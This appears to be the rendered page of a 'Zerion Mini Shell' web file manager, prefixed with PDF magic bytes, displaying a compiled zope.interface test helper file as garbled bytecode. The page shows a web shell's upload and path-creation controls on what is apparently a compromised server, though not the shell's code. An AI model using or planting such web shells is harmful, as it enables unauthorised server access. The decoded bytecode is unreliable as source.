%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/zope/interface/tests/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/zope/interface/tests/__pycache__/__init__.cpython-312.pyc

�

��ey���ddlmZGd�d�ZGd�d�Z	ddlmZejZy	#e$r
Gd�d�ZYy	wxYw)
�)�_should_attempt_c_optimizationsc�"�eZdZdZd�Zd�Zd�Zy)�OptimizationTestMixinzP
    Helper for testing that C optimizations are used
    when appropriate.
    c��t�)zq
        Define this to return the implementation in use,
        without the 'Py' or 'Fallback' suffix.
        ��NotImplementedError��selfs �?/usr/lib/python3/dist-packages/zope/interface/tests/__init__.py�_getTargetClassz%OptimizationTestMixin._getTargetClass
s
��
"�!�c��t�)zK
        Define this to return the fallback Python implementation.
        rr	s r�_getFallbackClassz'OptimizationTestMixin._getFallbackClasss
��"�!r
c��|j�}|j�}t�r|j||�y|j	||�y�N)rrr�assertIsNot�assertIs)r
�used�fallbacks   r�test_optimizationsz(OptimizationTestMixin.test_optimizationssB���#�#�%���)�)�+��*�,����T�8�,��M�M�$��)r
N)�__name__�
__module__�__qualname__�__doc__rrr�r
rrrs���
"�"�*r
rc�8�eZdZdZd�Zd�Zeeee	fZ
ed��Zy)�MissingSomeAttrsa
    Helper for tests that raises a specific exception
    for attributes that are missing. This is usually not
    an AttributeError, and this object is used to test that
    those errors are not improperly caught and treated like
    an AttributeError.
    c�`�||_tj|d�}|j|�y)N�__dict__)�_MissingSomeAttrs__exc_kind�object�__getattribute__�update)r
�exc_kind�other_attrs�ds    r�__init__zMissingSomeAttrs.__init__-s'��"����#�#�D�*�5��	����r
c�j�tj|d�}	||S#t$r|d|��wxYw)Nrr )r!r"�KeyError)r
�namer&s   rr"z!MissingSomeAttrs.__getattribute__2sD���#�#�D�*�5��	9��T�7�N���	9�2�!�1�2�4�8�8�	9�s��2c��t|t�sJ�||vsJ�|jD]V}||fi|��}|j|�5}||�ddd�|j	j
jd|��X|tfi|��}	||�y#1swY�KxYw#t$r%}|j|t|��Yd}~yd}~wt$rYywxYw)a�
        Loop through various exceptions, calling *test_func* inside a ``assertRaises`` block.

        :param test_func: A callable of one argument, the instance of this
            class.
        :param str expected_missing: The attribute that should fail with the exception.
           This is used to ensure that we're testing the path we think we are.
        :param other_attrs: Attributes that should be provided on the test object.
           Must not contain *expected_missing*.
        Nr)
�
isinstance�str�EXCEPTION_CLASSES�assertRaises�assertEqual�	exception�args�AttributeError�assertNotIn�	Exception)	�cls�unittest�	test_func�expected_missingr%�exc�ob�ex�es	         r�test_raiseszMissingSomeAttrs.test_raisesAs����*�C�0�0�0��{�2�2�2��(�(�	I�C��S�(�K�(�B��&�&�s�+�
�r��"�
�
�
� � ����!2�!2�1�!5�7G�H�	I���
/�;�
/��	��b�M�
�
���	;�� � �!1�3�q�6�:�:���	��	�s*�	B�B!�B	�!	C�*C
�
C�CN)
rrrrr'r"�	TypeError�RuntimeError�
BaseException�
ValueErrorr.�classmethodr>rr
rrr$s;����
9�	����	�����r
r)�cleanupc��eZdZd�ZexZZy)�CleanUpc��yrrr	s r�cleanUpzCleanUp.cleanUpns��r
N)rrrrH�setUp�tearDownrr
rrFrFms��	�#�"��r
rFN)�zope.interface._compatrrr�zope.testingrDrF�ImportErrorrr
r�<module>rNsL��B�*�*�@9�9�L	�$��o�o�G���#�#�#�#�s�/�A�A

Zerion Mini Shell 1.0